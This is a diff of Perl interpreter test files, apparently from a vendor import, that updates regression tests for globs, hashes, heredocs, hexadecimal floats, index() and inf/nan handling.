@@ -12,7 +12,7 @@
 
 use warnings;
 
-plan(tests => 280);
+plan(tests => 284);
 
 # type coercion on assignment
 $foo = 'foo';
@@ -497,7 +497,7 @@
 eval 'borage("sub ref in stash")' or fail "sub ref in stash";
 
 {
-    use vars qw($glook $smek $foof);
+    our ($glook, $smek, $foof);
     # Check reference assignment isn't affected by the SV type (bug #38439)
     $glook = 3;
     $smek = 4;
@@ -1170,6 +1170,14 @@
     is ($? & 127, 0,"[perl #128597] No crash when gp_free calls ckWARN_d");
 }
 
+{
+    # [perl #131263]
+    *sym = "\N{U+0080}";
+    ok(*sym eq "*main::\N{U+0080}", "utf8 flag properly set");
+    *sym = "\xC3\x80";
+    ok(*sym eq "*main::\xC3\x80", "utf8 flag properly cleared");
+}
+
 # test gv_try_downgrade()
 # If a GV can be stored in a stash in a compact, non-GV form, then
 # whenever ops are freed which reference the GV, an attempt is made to
@@ -1187,6 +1195,36 @@
     ::like "$GV_DOWNGRADE::{FOO}", qr/SCALAR/, "gv_downgrade: post";
 }
 
+# [perl #131085] This used to crash; no ok() necessary.
+{ no warnings;
+$::{"A131085"} = sub {}; \&{"A131085"};
+}
+
+
+#
+# Deprecated before 5.28, fatal since then
+#
+undef $@;
+eval << '--';
+    sub Other::AUTOLOAD {1}
+    sub Other::fred {}
+    @ISA = qw [Other];
+    fred ();
+    my $x = \&barney;
+    (bless []) -> barney;
+--
+like $@, qr /^Use of inherited AUTOLOAD for non-method main::fred\(\) is no longer allowed/, "Cannot inherit AUTOLOAD";
+
+undef $@;
+eval << '--';
+    use utf8;
+    use open qw [:utf8 :std];
+    sub Oᕞʀ::AUTOLOAD { 1 } sub Oᕞʀ::fᕃƌ {}
+    @ISA = qw(Oᕞʀ) ;
+    fᕃƌ() ;
+--
+like $@, qr /^Use of inherited AUTOLOAD for non-method main::f\x{1543}\x{18c}\(\) is no longer allowed/, "Cannot inherit AUTOLOAD";
+
 __END__
 Perl
 Rules

Modified: vendor/perl/dist/t/op/hash.t
===================================================================
--- vendor/perl/dist/t/op/hash.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/hash.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -163,7 +163,8 @@
   my ($h2, $h3, $h4);
   while (keys %$h > 2) {
     my $take = (keys %$h) / 2 - 1;
-    my @keys = (keys %$h)[0 .. $take];
+    my @keys = (sort keys %$h)[0..$take];
+
     my $scalar = %$h;
     delete @$h{@keys};
     push @groups, $scalar, \@keys;
@@ -179,8 +180,17 @@
     # Each time this will get emptied then repopulated. If the fill isn't reset
     # when the hash is emptied, the used count will likely exceed the array
     %$h3 = %$h2;
+    is(join(",", sort keys %$h3),join(",",sort keys %$h2),"$desc (+$count copy) has same keys");
     my (undef, $total3) = validate_hash("$desc (+$count copy)", $h3);
-    is($total3, $total2, "$desc (+$count copy) has same array size");
+    # We now only split when we collide on insert AND exceed the load factor
+    # when we did so. Building a hash via %x=%y means a pseudo-random key
+    # order inserting into %x, and we may end up encountering a collision
+    # at a different point in the load order, resulting in a possible power of
+    # two difference under the current load factor expectations. If this test
+    # fails then it is probably because DO_HSPLIT was changed, and this test
+    # needs to be adjusted accordingly.
+    ok( $total2 == $total3 || $total2*2==$total3 || $total2==$total3*2,
+        "$desc (+$count copy) array size within a power of 2 of each other");
 
     # This might use fewer buckets than the original
     %$h4 = %$h;
@@ -189,7 +199,7 @@
   }
 
   my $scalar = %$h;
-  my @keys = keys %$h;
+  my @keys = sort keys %$h;
   delete @$h{@keys};
   is(scalar %$h, 0, "scalar keys for empty $desc");
 
@@ -205,11 +215,11 @@
   while (@groups) {
     my $keys = pop @groups;
     ++$h->{$_} foreach @$keys;
-    my (undef, $total) = validate_hash("$desc " . keys %$h, $h);
-    is($total, $total0, "bucket count is constant when rebuilding");
+    my (undef, $total) = validate_hash($desc, $h);
+    ok($total == $total0 || $total == ($total0*2), "bucket count is expected size when rebuilding");
     is(scalar %$h, pop @groups, "scalar keys is identical when rebuilding");
     ++$h1->{$_} foreach @$keys;
-    validate_hash("$desc copy " . keys %$h1, $h1);
+    validate_hash("$desc copy", $h1);
   }
   # This will fail if the fill count isn't handled correctly on hash split
   is(scalar %$h1, scalar %$h, "scalar keys is identical on copy and original");

Modified: vendor/perl/dist/t/op/hashwarn.t
===================================================================
--- vendor/perl/dist/t/op/hashwarn.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/hashwarn.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,7 +11,7 @@
 use strict;
 use warnings;
 
-use vars qw{ @warnings };
+our @warnings;
 
 BEGIN {
     $SIG{'__WARN__'} = sub { push @warnings, @_ };

Modified: vendor/perl/dist/t/op/heredoc.t
===================================================================
--- vendor/perl/dist/t/op/heredoc.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/heredoc.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -33,13 +33,13 @@
     );
 
     fresh_perl_is(
-        "print <<;\n$string\n",
+        qq(print <<"";\n$string\n),
         $string,
         { switches => ['-X'] },
         "blank-terminated heredoc at EOF"
     );
     fresh_perl_is(
-        "print <<\n$string\n",
+        qq(print <<""\n$string\n),
         $string,
         { switches => ['-X'] },
         "blank-terminated heredoc at EOF and no semicolon"
@@ -75,7 +75,7 @@
     # that building with ASAN will reveal the bug and any related regressions.
     for (1..31) {
         fresh_perl_like(
-            "print <<;\n" . "x" x $_,
+            qq(print <<"";\n) . "x" x $_,
             qr/find string terminator/,
             { switches => ['-X'] },
             "empty string terminator still needs a newline (length $_)"
@@ -100,9 +100,9 @@
 
     # also read freed memory, but got an invalid oldoldbufptr in a different way
     fresh_perl_like(
-        qq(<<\n\$          \n),
+        qq(<<""\n\$          \n),
         # valgrind and asan reports an error between these two lines
-        qr/^Use of bare << to mean <<"" is deprecated\. Its use will be fatal in Perl 5\.28 at - line 1\.\s+Final \$/,
+        qr/^Final \$/,
         {},
         "don't use an invalid oldoldbufptr (some more)"
     );
@@ -109,7 +109,7 @@
 
     # [perl #125540] this asserted or crashed
     fresh_perl_like(
-	q(map d$#<<<<),
+	q(map d$#<<<<""),
 	qr/Can't find string terminator "" anywhere before EOF at - line 1\./,
 	{},
 	"Don't assert parsing a here-doc if we hit EOF early"

Modified: vendor/perl/dist/t/op/hexfp.t
===================================================================
--- vendor/perl/dist/t/op/hexfp.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/hexfp.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,7 +10,7 @@
 
 use Config;
 
-plan(tests => 109);
+plan(tests => 123);
 
 # Test hexfloat literals.
 
@@ -163,84 +163,82 @@
 # Test warnings.
 SKIP:
 {
-    if ($Config{nv_preserves_uv_bits} == 53) {
-        local $^W = 1;
+    skip "nv_preserves_uv_bits is $Config{nv_preserves_uv_bits} not 53", 26
+        unless $Config{nv_preserves_uv_bits} == 53;
 
-        eval '0x1_0000_0000_0000_0p0';
-        is(get_warn(), undef);
+    local $^W = 1;
 
-        eval '0x2_0000_0000_0000_0p0';
-        like(get_warn(), qr/^Hexadecimal float: mantissa overflow/);
+    eval '0x1_0000_0000_0000_0p0';
+    is(get_warn(), undef);
 
-        eval '0x1.0000_0000_0000_0p0';
-        is(get_warn(), undef);
+    eval '0x2_0000_0000_0000_0p0';
+    like(get_warn(), qr/^Hexadecimal float: mantissa overflow/);
 
-        eval '0x2.0000_0000_0000_0p0';
-        like(get_warn(), qr/^Hexadecimal float: mantissa overflow/);
+    eval '0x1.0000_0000_0000_0p0';
+    is(get_warn(), undef);
 
-        eval '0x.1p-1021';
-        is(get_warn(), undef);
+    eval '0x2.0000_0000_0000_0p0';
+    like(get_warn(), qr/^Hexadecimal float: mantissa overflow/);
 
-        eval '0x.1p-1023';
-        like(get_warn(), qr/^Hexadecimal float: exponent underflow/);
+    eval '0x.1p-1021';
+    is(get_warn(), undef);
 
-        eval '0x1.fffffffffffffp+1023';
-        is(get_warn(), undef);
+    eval '0x.1p-1023';
+    like(get_warn(), qr/^Hexadecimal float: exponent underflow/);
 
-        eval '0x1.fffffffffffffp+1024';
-        like(get_warn(), qr/^Hexadecimal float: exponent overflow/);
+    eval '0x1.fffffffffffffp+1023';
+    is(get_warn(), undef);
 
-        undef $a;
-        eval '$a = 0x111.0000000000000p+0'; # 12 zeros.
-        like(get_warn(), qr/^Hexadecimal float: mantissa overflow/);
-        is($a, 273);
+    eval '0x1.fffffffffffffp+1024';
+    like(get_warn(), qr/^Hexadecimal float: exponent overflow/);
 
-        # The 13 zeros would be enough to push the hi-order digits
-        # off the high-end.
+    undef $a;
+    eval '$a = 0x111.0000000000000p+0'; # 12 zeros.
+    like(get_warn(), qr/^Hexadecimal float: mantissa overflow/);
+    is($a, 273);
 
-        undef $a;
-        eval '$a = 0x111.0000000000000p+0'; # 13 zeros.
-        like(get_warn(), qr/^Hexadecimal float: mantissa overflow/);
-        is($a, 273);
+    # The 13 zeros would be enough to push the hi-order digits
+    # off the high-end.
 
-        undef $a;
-        eval '$a = 0x111.00000000000000p+0';  # 14 zeros.
-        like(get_warn(), qr/^Hexadecimal float: mantissa overflow/);
-        is($a, 273);
+    undef $a;
+    eval '$a = 0x111.0000000000000p+0'; # 13 zeros.
+    like(get_warn(), qr/^Hexadecimal float: mantissa overflow/);
+    is($a, 273);
 
-        undef $a;
-        eval '$a = 0xfffffffffffffp0';  # 52 bits.
-        is(get_warn(), undef);
-        is($a, 4.5035996273705e+15);
+    undef $a;
+    eval '$a = 0x111.00000000000000p+0'; # 14 zeros.
+    like(get_warn(), qr/^Hexadecimal float: mantissa overflow/);
+    is($a, 273);
 
-        undef $a;
-        eval '$a = 0xfffffffffffff.8p0';  # 53 bits.
-        is(get_warn(), undef);
-        is($a, 4.5035996273705e+15);
+    undef $a;
+    eval '$a = 0xfffffffffffffp0'; # 52 bits.
+    is(get_warn(), undef);
+    is($a, 4.5035996273705e+15);
 
-        undef $a;
-        eval '$a = 0xfffffffffffff.cp0';  # 54 bits.
-        like(get_warn(), qr/^Hexadecimal float: mantissa overflow/);
-        is($a, 4.5035996273705e+15);
+    undef $a;
+    eval '$a = 0xfffffffffffff.8p0'; # 53 bits.
+    is(get_warn(), undef);
+    is($a, 4.5035996273705e+15);
 
-        undef $a;
-        eval '$a = 0xf.ffffffffffffp0';  # 52 bits.
-        is(get_warn(), undef);
-        is($a, 16);
+    undef $a;
+    eval '$a = 0xfffffffffffff.cp0'; # 54 bits.
+    like(get_warn(), qr/^Hexadecimal float: mantissa overflow/);
+    is($a, 4.5035996273705e+15);
 
-        undef $a;
-        eval '$a = 0xf.ffffffffffff8p0';  # 53 bits.
-        is(get_warn(), undef);
-        is($a, 16);
+    undef $a;
+    eval '$a = 0xf.ffffffffffffp0'; # 52 bits.
+    is(get_warn(), undef);
+    is($a, 16);
 
-        undef $a;
-        eval '$a = 0xf.ffffffffffffcp0';  # 54 bits.
-        like(get_warn(), qr/^Hexadecimal float: mantissa overflow/);
-        is($a, 16);
-    } else {
-        print "# skipping warning tests\n";
-        skip "nv_preserves_uv_bits is $Config{nv_preserves_uv_bits} not 53", 26;
-    }
+    undef $a;
+    eval '$a = 0xf.ffffffffffff8p0'; # 53 bits.
+    is(get_warn(), undef);
+    is($a, 16);
+
+    undef $a;
+    eval '$a = 0xf.ffffffffffffcp0'; # 54 bits.
+    like(get_warn(), qr/^Hexadecimal float: mantissa overflow/);
+    is($a, 16);
 }
 
 # [perl #128919] limited exponent range in hex fp literal with long double
@@ -255,6 +253,30 @@
     is(0x1p-16445, 3.6451995318824746e-4951);
 }
 
+# [perl #131894] parsing long binaryish floating point literals used to
+# perform illegal bit shifts.  Need 64-bit ints to test.
+SKIP: {
+    skip("non-64-bit NVs or no 64-bit ints to test with", 3)
+      unless $Config{nvsize} == 8 && $Config{d_double_style_ieee} && $Config{use64bitint};
+    is sprintf("%a", eval("0x030000000000000.1p0")), "0x1.8p+53";
+    is sprintf("%a", eval("01400000000000000000.1p0")), "0x1.8p+54";
+    is sprintf("%a", eval("0b110000000000000000000000000000000000000000000000000000000.1p0")), "0x1.8p+56";
+}
+
+# the implementation also allow for octal and binary fp
+is(01p0, 1);
+is(01.0p0, 1);
+is(01.00p0, 1);
+is(010.1p0, 8.125);
+is(00.400p1, 1);
+is(00p0, 0);
+is(01.1p0, 1.125);
+
+is(0b0p0, 0);
+is(0b1p0, 1);
+is(0b10p0, 2);
+is(0b1.1p0, 1.5);
+
 # sprintf %a/%A testing is done in sprintf2.t,
 # trickier than necessary because of long doubles,
 # and because looseness of the spec.

Modified: vendor/perl/dist/t/op/index.t
===================================================================
--- vendor/perl/dist/t/op/index.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/index.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,251 +8,328 @@
 }
 
 use strict;
-plan( tests => 122 );
+plan( tests => 412 );
 
 run_tests() unless caller;
 
 sub run_tests {
 
-my $foo = 'Now is the time for all good men to come to the aid of their country.';
+    my $foo = 'Now is the time for all good men to come to the aid of their country.';
 
-my $first = substr($foo,0,index($foo,'the'));
-is($first, "Now is ");
+    my $first = substr($foo,0,index($foo,'the'));
+    is($first, "Now is ");
 
-my $last = substr($foo,rindex($foo,'the'),100);
-is($last, "their country.");
+    my $last = substr($foo,rindex($foo,'the'),100);
+    is($last, "their country.");
 
-$last = substr($foo,index($foo,'Now'),2);
-is($last, "No");
+    $last = substr($foo,index($foo,'Now'),2);
+    is($last, "No");
 
-$last = substr($foo,rindex($foo,'Now'),2);
-is($last, "No");
+    $last = substr($foo,rindex($foo,'Now'),2);
+    is($last, "No");
 
-$last = substr($foo,index($foo,'.'),100);
-is($last, ".");
+    $last = substr($foo,index($foo,'.'),100);
+    is($last, ".");
 
-$last = substr($foo,rindex($foo,'.'),100);
-is($last, ".");
+    $last = substr($foo,rindex($foo,'.'),100);
+    is($last, ".");
 
-is(index("ababa","a",-1), 0);
-is(index("ababa","a",0), 0);
-is(index("ababa","a",1), 2);
-is(index("ababa","a",2), 2);
-is(index("ababa","a",3), 4);
-is(index("ababa","a",4), 4);
-is(index("ababa","a",5), -1);
+    is(index("ababa","a",-1), 0);
+    is(index("ababa","a",0), 0);
+    is(index("ababa","a",1), 2);
+    is(index("ababa","a",2), 2);
+    is(index("ababa","a",3), 4);
+    is(index("ababa","a",4), 4);
+    is(index("ababa","a",5), -1);
 
-is(rindex("ababa","a",-1), -1);
-is(rindex("ababa","a",0), 0);
-is(rindex("ababa","a",1), 0);
-is(rindex("ababa","a",2), 2);
-is(rindex("ababa","a",3), 2);
-is(rindex("ababa","a",4), 4);
-is(rindex("ababa","a",5), 4);
+    is(rindex("ababa","a",-1), -1);
+    is(rindex("ababa","a",0), 0);
+    is(rindex("ababa","a",1), 0);
+    is(rindex("ababa","a",2), 2);
+    is(rindex("ababa","a",3), 2);
+    is(rindex("ababa","a",4), 4);
+    is(rindex("ababa","a",5), 4);
 
-# tests for empty search string
-is(index("abc", "", -1), 0);
-is(index("abc", "", 0), 0);
-is(index("abc", "", 1), 1);
-is(index("abc", "", 2), 2);
-is(index("abc", "", 3), 3);
-is(index("abc", "", 4), 3);
-is(rindex("abc", "", -1), 0);
-is(rindex("abc", "", 0), 0);
-is(rindex("abc", "", 1), 1);
-is(rindex("abc", "", 2), 2);
-is(rindex("abc", "", 3), 3);
-is(rindex("abc", "", 4), 3);
+    # tests for empty search string
+    is(index("abc", "", -1), 0);
+    is(index("abc", "", 0), 0);
+    is(index("abc", "", 1), 1);
+    is(index("abc", "", 2), 2);
+    is(index("abc", "", 3), 3);
+    is(index("abc", "", 4), 3);
+    is(rindex("abc", "", -1), 0);
+    is(rindex("abc", "", 0), 0);
+    is(rindex("abc", "", 1), 1);
+    is(rindex("abc", "", 2), 2);
+    is(rindex("abc", "", 3), 3);
+    is(rindex("abc", "", 4), 3);
 
-$a = "foo \x{1234}bar";
+    $a = "foo \x{1234}bar";
 
-is(index($a, "\x{1234}"), 4);
-is(index($a, "bar",    ), 5);
+    is(index($a, "\x{1234}"), 4);
+    is(index($a, "bar",    ), 5);
 
-is(rindex($a, "\x{1234}"), 4);
-is(rindex($a, "foo",    ), 0);
+    is(rindex($a, "\x{1234}"), 4);
+    is(rindex($a, "foo",    ), 0);
 
-{
-    my $needle = "\x{1230}\x{1270}";
-    my @needles = split ( //, $needle );
-    my $haystack = "\x{1228}\x{1228}\x{1230}\x{1270}";
-    foreach ( @needles ) {
-	my $a = index ( "\x{1228}\x{1228}\x{1230}\x{1270}", $_ );
-	my $b = index ( $haystack, $_ );
-	is($a, $b, q{[perl #22375] 'split'/'index' problem for utf8});
+    {
+        my $needle = "\x{1230}\x{1270}";
+        my @needles = split ( //, $needle );
+        my $haystack = "\x{1228}\x{1228}\x{1230}\x{1270}";
+        foreach ( @needles ) {
+            my $a = index ( "\x{1228}\x{1228}\x{1230}\x{1270}", $_ );
+            my $b = index ( $haystack, $_ );
+            is($a, $b, q{[perl #22375] 'split'/'index' problem for utf8});
+        }
+        $needle = "\x{1270}\x{1230}"; # Transpose them.
+        @needles = split ( //, $needle );
+        foreach ( @needles ) {
+            my $a = index ( "\x{1228}\x{1228}\x{1230}\x{1270}", $_ );
+            my $b = index ( $haystack, $_ );
+            is($a, $b, q{[perl #22375] 'split'/'index' problem for utf8});
+        }
     }
-    $needle = "\x{1270}\x{1230}"; # Transpose them.
-    @needles = split ( //, $needle );
-    foreach ( @needles ) {
-	my $a = index ( "\x{1228}\x{1228}\x{1230}\x{1270}", $_ );
-	my $b = index ( $haystack, $_ );
-	is($a, $b, q{[perl #22375] 'split'/'index' problem for utf8});
-    }
-}
 
-{
-    my $search;
-    my $text;
-    $search = "foo " . uni_to_native("\xc9") . " bar";
-    $text = "a" . uni_to_native("\xa3\xa3") . "a $search    $search quux";
+    {
+        my $search;
+        my $text;
+        $search = "foo " . uni_to_native("\xc9") . " bar";
+        $text = "a" . uni_to_native("\xa3\xa3") . "a $search    $search quux";
 
-    my $text_utf8 = $text;
-    utf8::upgrade($text_utf8);
-    my $search_utf8 = $search;
-    utf8::upgrade($search_utf8);
+        my $text_utf8 = $text;
+        utf8::upgrade($text_utf8);
+        my $search_utf8 = $search;
+        utf8::upgrade($search_utf8);
 
-    is (index($text, $search), 5);
-    is (rindex($text, $search), 18);
-    is (index($text, $search_utf8), 5);
-    is (rindex($text, $search_utf8), 18);
-    is (index($text_utf8, $search), 5);
-    is (rindex($text_utf8, $search), 18);
-    is (index($text_utf8, $search_utf8), 5);
-    is (rindex($text_utf8, $search_utf8), 18);
+        is (index($text, $search), 5);
+        is (rindex($text, $search), 18);
+        is (index($text, $search_utf8), 5);
+        is (rindex($text, $search_utf8), 18);
+        is (index($text_utf8, $search), 5);
+        is (rindex($text_utf8, $search), 18);
+        is (index($text_utf8, $search_utf8), 5);
+        is (rindex($text_utf8, $search_utf8), 18);
 
-    my $text_octets = $text_utf8;
-    utf8::encode ($text_octets);
-    my $search_octets = $search_utf8;
-    utf8::encode ($search_octets);
+        my $text_octets = $text_utf8;
+        utf8::encode ($text_octets);
+        my $search_octets = $search_utf8;
+        utf8::encode ($search_octets);
 
-    is (index($text_octets, $search_octets), 7, "index octets, octets")
-	or _diag ($text_octets, $search_octets);
-    is (rindex($text_octets, $search_octets), 21, "rindex octets, octets");
-    is (index($text_octets, $search_utf8), -1);
-    is (rindex($text_octets, $search_utf8), -1);
-    is (index($text_utf8, $search_octets), -1);
-    is (rindex($text_utf8, $search_octets), -1);
+        is (index($text_octets, $search_octets), 7, "index octets, octets")
+            or _diag ($text_octets, $search_octets);
+        is (rindex($text_octets, $search_octets), 21, "rindex octets, octets");
+        is (index($text_octets, $search_utf8), -1);
+        is (rindex($text_octets, $search_utf8), -1);
+        is (index($text_utf8, $search_octets), -1);
+        is (rindex($text_utf8, $search_octets), -1);
 
-    is (index($text_octets, $search), -1);
-    is (rindex($text_octets, $search), -1);
-    is (index($text, $search_octets), -1);
-    is (rindex($text, $search_octets), -1);
-}
+        is (index($text_octets, $search), -1);
+        is (rindex($text_octets, $search), -1);
+        is (index($text, $search_octets), -1);
+        is (rindex($text, $search_octets), -1);
+    }
 
-{
-    no warnings 'deprecated'; # These are above IV_MAX on 32 bit machines
-    my $a = eval q{"\x{80000000}"};
-    my $s = $a.'defxyz';
-    is(index($s, 'def'), 1, "0x80000000 is a single character");
+    SKIP: {
+        skip("Not a 64-bit machine", 3) if length sprintf("%x", ~0) <= 8;
+        my $a = eval q{"\x{80000000}"};
+        my $s = $a.'defxyz';
+        is(index($s, 'def'), 1, "0x80000000 is a single character");
 
-    my $b = eval q{"\x{fffffffd}"};
-    my $t = $b.'pqrxyz';
-    is(index($t, 'pqr'), 1, "0xfffffffd is a single character");
+        my $b = eval q{"\x{fffffffd}"};
+        my $t = $b.'pqrxyz';
+        is(index($t, 'pqr'), 1, "0xfffffffd is a single character");
 
-    local ${^UTF8CACHE} = -1;
-    is(index($t, 'xyz'), 4, "0xfffffffd and utf8cache");
-}
+        local ${^UTF8CACHE} = -1;
+        is(index($t, 'xyz'), 4, "0xfffffffd and utf8cache");
+    }
 
 
-# Tests for NUL characters.
-{
-    my @tests = (
-        ["",            -1, -1, -1],
-        ["foo",         -1, -1, -1],
-        ["\0",           0, -1, -1],
-        ["\0\0",         0,  0, -1],
-        ["\0\0\0",       0,  0,  0],
-        ["foo\0",        3, -1, -1],
-        ["foo\0foo\0\0", 3,  7, -1],
-    );
-    foreach my $l (1 .. 3) {
-        my $q = "\0" x $l;
-        my $i = 0;
-        foreach my $test (@tests) {
-            $i ++;
-            my $str = $$test [0];
-            my $res = $$test [$l];
+    # Tests for NUL characters.
+    {
+        my @tests = (
+            ["",            -1, -1, -1],
+            ["foo",         -1, -1, -1],
+            ["\0",           0, -1, -1],
+            ["\0\0",         0,  0, -1],
+            ["\0\0\0",       0,  0,  0],
+            ["foo\0",        3, -1, -1],
+            ["foo\0foo\0\0", 3,  7, -1],
+        );
+        foreach my $l (1 .. 3) {
+            my $q = "\0" x $l;
+            my $i = 0;
+            foreach my $test (@tests) {
+                $i ++;
+                my $str = $$test [0];
+                my $res = $$test [$l];
 
-            {
-                is (index ($str, $q), $res, "Find NUL character(s)");
-            }
+                {
+                    is (index ($str, $q), $res, "Find NUL character(s)");
+                }
 
-            #
-            # Bug #53746 shows a difference between variables and literals,
-            # so test literals as well.
-            #
-            my $test_str = qq {is (index ("$str", "$q"), $res, } .
-                           qq {"Find NUL character(s)")};
-               $test_str =~ s/\0/\\0/g;
+                #
+                # Bug #53746 shows a difference between variables and literals,
+                # so test literals as well.
+                #
+                my $test_str = qq {is (index ("$str", "$q"), $res, } .
+                               qq {"Find NUL character(s)")};
+                   $test_str =~ s/\0/\\0/g;
 
-            eval $test_str;
-            die $@ if $@;
+                eval $test_str;
+                die $@ if $@;
+            }
         }
     }
-}
 
-{
-    # RT#75898
-    is(eval { utf8::upgrade($_ = " "); index $_, " ", 72 }, -1,
-       'UTF-8 cache handles offset beyond the end of the string');
-    $_ = "\x{100}BC";
-    is(index($_, "C", 4), -1,
-       'UTF-8 cache handles offset beyond the end of the string');
-}
+    {
+        # RT#75898
+        is(eval { utf8::upgrade($_ = " "); index $_, " ", 72 }, -1,
+           'UTF-8 cache handles offset beyond the end of the string');
+        $_ = "\x{100}BC";
+        is(index($_, "C", 4), -1,
+           'UTF-8 cache handles offset beyond the end of the string');
+    }
 
-# RT #89218
-use constant {PVBM => 'galumphing', PVBM2 => 'bang'};
+    # RT #89218
+    use constant {PVBM => 'galumphing', PVBM2 => 'bang'};
 
-sub index_it {
-    is(index('galumphing', PVBM), 0,
-       "index isn't confused by format compilation");
-}
- 
-index_it();
-is($^A, '', '$^A is empty');
-formline PVBM;
-is($^A, 'galumphing', "formline isn't confused by index compilation");
-index_it();
+    sub index_it {
+        is(index('galumphing', PVBM), 0,
+           "index isn't confused by format compilation");
+    }
+     
+    index_it();
+    is($^A, '', '$^A is empty');
+    formline PVBM;
+    is($^A, 'galumphing', "formline isn't confused by index compilation");
+    index_it();
 
-$^A = '';
-# must not do index here before formline.
-is($^A, '', '$^A is empty');
-formline PVBM2;
-is($^A, 'bang', "formline isn't confused by index compilation");
-is(index('bang', PVBM2), 0, "index isn't confused by format compilation");
+    $^A = '';
+    # must not do index here before formline.
+    is($^A, '', '$^A is empty');
+    formline PVBM2;
+    is($^A, 'bang', "formline isn't confused by index compilation");
+    is(index('bang', PVBM2), 0, "index isn't confused by format compilation");
 
-{
-    use constant perl => "rules";
-    is(index("perl rules", perl), 5, 'first index of a constant works');
-    is(index("rules 1 & 2", perl), 0, 'second index of the same constant works');
-}
+    {
+        use constant perl => "rules";
+        is(index("perl rules", perl), 5, 'first index of a constant works');
+        is(index("rules 1 & 2", perl), 0, 'second index of the same constant works');
+    }
 
-# PVBM compilation should not flatten ref constants
-use constant riffraff => \our $referent;
-index "foo", riffraff;
-is ref riffraff, 'SCALAR', 'index does not flatten ref constants';
+    # PVBM compilation should not flatten ref constants
+    use constant riffraff => \our $referent;
+    index "foo", riffraff;
+    is ref riffraff, 'SCALAR', 'index does not flatten ref constants';
 
-package o { use overload '""' => sub { "foo" } }
-bless \our $referent, o::;
-is index("foo", riffraff), 0,
-    'index respects changes in ref stringification';
+    package o { use overload '""' => sub { "foo" } }
+    bless \our $referent, o::;
+    is index("foo", riffraff), 0,
+        'index respects changes in ref stringification';
 
-use constant quire => ${qr/(?{})/}; # A REGEXP, not a reference to one
-index "foo", quire;
-eval ' "" =~ quire ';
-is $@, "", 'regexp constants containing code blocks are not flattened';
+    use constant quire => ${qr/(?{})/}; # A REGEXP, not a reference to one
+    index "foo", quire;
+    eval ' "" =~ quire ';
+    is $@, "", 'regexp constants containing code blocks are not flattened';
 
-use constant bang => $! = 8;
-index "foo", bang;
-cmp_ok bang, '==', 8, 'dualvar constants are not flattened';
+    use constant bang => $! = 8;
+    index "foo", bang;
+    cmp_ok bang, '==', 8, 'dualvar constants are not flattened';
 
-use constant u => undef;
-{
-    my $w;
-    local $SIG{__WARN__} = sub { $w .= shift };
-    eval '
-        use warnings;
-        sub { () = index "foo", u; }
-    ';
-    is $w, undef, 'no warnings from compiling index($foo, undef_constant)';
-}
-is u, undef, 'undef constant is still undef';
+    use constant u => undef;
+    {
+        my $w;
+        local $SIG{__WARN__} = sub { $w .= shift };
+        eval '
+            use warnings;
+            sub { () = index "foo", u; }
+        ';
+        is $w, undef, 'no warnings from compiling index($foo, undef_constant)';
+    }
+    is u, undef, 'undef constant is still undef';
 
-is index('the main road', __PACKAGE__), 4,
-    '[perl #119169] __PACKAGE__ as 2nd argument';
+    is index('the main road', __PACKAGE__), 4,
+        '[perl #119169] __PACKAGE__ as 2nd argument';
 
-} # end of sub run_tests
+    utf8::upgrade my $substr = "\x{a3}a";
 
-utf8::upgrade my $substr = "\x{a3}a";
+    is index($substr, 'a'), 1, 'index reply reflects characters not octets';
 
-is index($substr, 'a'), 1, 'index reply reflects characters not octets';
+    # op_eq, op_const optimised away in (index() == -1) and variants
+
+    for my $test (
+          # expect:
+          #    F: always false regardless of the expression
+          #    T: always true  regardless of the expression
+          #    f: expect false if the string is found
+          #    t: expect true  if the string is found
+          #
+          # op  const  expect
+        [ '<',    -1,      'F' ],
+        [ '<',     0,      'f' ],
+
+        [ '<=',   -1,      'f' ],
+        [ '<=',    0,      'f' ],
+
+        [ '==',   -1,      'f' ],
+        [ '==',    0,      'F' ],
+
+        [ '!=',   -1,      't' ],
+        [ '!=',    0,      'T' ],
+
+        [ '>=',   -1,      'T' ],
+        [ '>=',    0,      't' ],
+
+        [ '>',    -1,      't' ],
+        [ '>',     0,      't' ],
+    ) {
+        my ($op, $const, $expect0) = @$test;
+
+        my $s = "abcde";
+        my $r;
+
+        for my $substr ("e", "z") {
+            my $expect =
+                $expect0 eq 'T' ? 1 == 1 :
+                $expect0 eq 'F' ? 0 == 1 :
+                $expect0 eq 't' ? ($substr eq "e") :
+                                  ($substr ne "e");
+
+            for my $rindex ("", "r") {
+                for my $reverse (0, 1) {
+                    my $rop = $op;
+                    if ($reverse) {
+                        $rop =~ s/>/</ or  $rop =~ s/</>/;
+                    }
+                    for my $targmy (0, 1) {
+                        my $index = "${rindex}index(\$s, '$substr')";
+                        my $expr = $reverse ? "$const $rop $index" : "$index $rop $const";
+                        # OPpTARGET_MY variant: the '$r = ' is optimised away too
+                        $expr = "\$r = ($expr)" if $targmy;
+
+                        my $got = eval $expr;
+                        die "eval of <$expr> gave: $@\n" if $@ ne "";
+
+                        is !!$got, $expect, $expr;
+                        if ($targmy) {
+                            is !!$r, $expect, "$expr - r value";
+                        }
+                    }
+                }
+            }
+        }
+    }
+
+    {
+        # RT #131823
+        # index with OPpTARGET_MY shouldn't do the '== -1' optimisation
+        my $s = "abxyz";
+        my $r;
+
+        ok(!(($r = index($s,"z")) == -1),  "(r = index(a)) == -1");
+        is($r, 4,                          "(r = index(a)) == -1 - r value");
+
+
+    }
+
+} # end of sub run_tests

Modified: vendor/perl/dist/t/op/infnan.t
===================================================================
--- vendor/perl/dist/t/op/infnan.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/infnan.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -38,7 +38,7 @@
            "1.#QNAN", "+1#SNAN", "-1.#NAN", "1#IND", "1.#IND00",
            "NAN(123)");
 
-my @printf_fmt = qw(e f g a d u o i b x p);
+my @printf_fmt = qw(e f g a d u o i b x);
 my @packi_fmt = qw(c C s S l L i I n N v V j J w W U);
 my @packf_fmt = qw(f d F);
 my @packs_fmt = qw(a4 A4 Z5 b20 B20 h10 H10 u);
